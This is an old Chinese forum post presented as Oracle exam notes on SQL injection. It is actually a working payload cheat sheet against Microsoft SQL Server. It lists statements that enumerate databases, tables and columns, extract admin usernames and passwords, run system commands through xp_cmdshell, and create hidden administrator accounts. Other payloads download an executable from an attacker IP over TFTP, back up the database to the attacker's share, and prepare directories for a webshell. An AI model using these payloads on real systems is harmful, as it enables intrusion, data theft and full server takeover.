会计考友 发表于 2012-8-4 13:54:49

oracle认证考试SQL注射语句解析二

oracle认证考试SQL注射语句解析二
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod
@o, ‘run’, NULL,‘ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点”
-v “e”,“e:\”’--
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod
@o, ‘run’, NULL,‘ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a
w3svc/1/ROOT/e +browse’
爆库 特殊技巧::\=‘\’ 或者把/和\ 修改%5提交
如何得到SQLSERVER某个数据库中所有表的表名?
--------------------------------------------------------------------------------
用户表:
select name from sysobjects where xtype = ‘U’;
系统表:
select name from sysobjects where xtype = ‘S’;
所有表:
select name from sysobjects where xtype = ‘S’ or xtype = ‘U’;
--------------------------------------------------------------------------------
and 0《》(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0《》(select count(*) from master.dbo.sysdatabases where name》1 and
dbid=6)
依次提交 dbid = 7,8,9.。。. 得到更多的数据库名
and 0《》(select top 1 name from bbs.dbo.sysobjects where xtype=‘U’) 暴到一个表
假设为 admin
and 0《》(select top 1 name from bbs.dbo.sysobjects where xtype=‘U’ and name
not in (‘Admin’)) 来得到其他的表。
and 0《》(select count(*) from bbs.dbo.sysobjects where xtype=‘U’ and
name=‘admin’
and uid》(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0《》(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
and 0《》(select top 1 name from bbs.dbo.syscolumns where id=18779569 and
name not in
(‘id’,。。.)) 来暴出其他的字段
and 0《(select user_id from BBS.dbo.admin where username》1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0《》(select count(*) from master.dbo.sysdatabases where name》1 and
dbid=6)
and 0《》(select top 1 name from bbs.dbo.sysobjects where xtype=‘U’) 得到表名
and 0《》(select top 1 name from bbs.dbo.sysobjects where xtype=‘U’ and name
not in(‘Address’))
and 0《》(select count(*) from bbs.dbo.sysobjects where xtype=‘U’ and
name=‘admin’ and uid》(str(id))) 判断id值
and 0《》(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union,access也好用)
得到WEB路径
;create table [dbo]。[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare
@test varchar(20) exec master..xp_regread @rootkey=‘HKEY_LOCAL_MACHINE’,
@key=‘SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\’,
@value_name=‘/’, values=@test OUTPUT insert into paths(path)
values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell ‘dir’
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell ‘net user jiaoniang$ 1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;--
;exec master.dbo.xp_cmdshell ‘net localgroup administrators jiaoniang$
/add’;--
exec master..xp_servicecontrol ‘start’, ‘schedule’ 启动服务
exec master..xp_servicecontrol ‘start’, ‘server’
; DECLARE @shell INT EXEC SP_OACreate ‘wscript.shell’,@shell OUTPUT EXEC
SP_OAMETHOD @shell,‘run’,null, ‘C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add’
;DECLARE @shell INT EXEC SP_OACreate ‘wscript.shell’,@shell OUTPUT EXEC
SP_OAMETHOD @shell,‘run’,null, ‘C:\WINNT\system32\cmd.exe /c net
localgroup administrators jiaoniang$ /add’
‘; exec master..xp_cmdshell ’tftp -i youip get file.exe‘-- 利用TFTP上传文件
;declare @a sysname set @a=’xp_‘+’cmdshell‘ exec @a ’dir c:\‘
;declare @a sysname set @a=’xp‘+’_cm’+’dshell‘ exec @a ’dir c:\‘
;declare @a;set @a=db_name();backup database @a to
disk=’你的IP你的共享目录bak.dat‘
如果被限制则可以。
select * from openrowset(’sqloledb‘,’server‘;’sa‘;’‘,’select ‘’OK!‘’ exec
master.dbo.sp_addlogin hax‘)
查询构造:
Select * FROM news Where id=。。. AND topic=。。. AND 。。.。。
admin’and 1=(select count(*) from [user] where username=‘victim’ and
right(left(userpass,01),1)=‘1’) and userpass 《》‘
select 123;--
;use master;--
:a’ or name like ‘fff%’;-- 显示有一个叫ffff的用户哈。
and 1《》(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where
xtype=‘u’ and status》0) where name=‘ffff’;--
;update [users] set email=(select top 1 id from sysobjects where xtype=‘u’
and name=‘ad’) where name=‘ffff’;--
‘;update [users] set email=(select top 1 name from sysobjects where
xtype=’u‘ and id》581577110) where name=’ffff‘;--
’;update [users] set email=(select top 1 count(id) from password) where
name=‘ffff’;--
‘;update [users] set email=(select top 1 pwd from password where id=2)
where name=’ffff‘;--
’;update [users] set email=(select top 1 name from password where id=2)
where name=‘ffff’;--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中
页: [1]
查看完整版本: oracle认证考试SQL注射语句解析二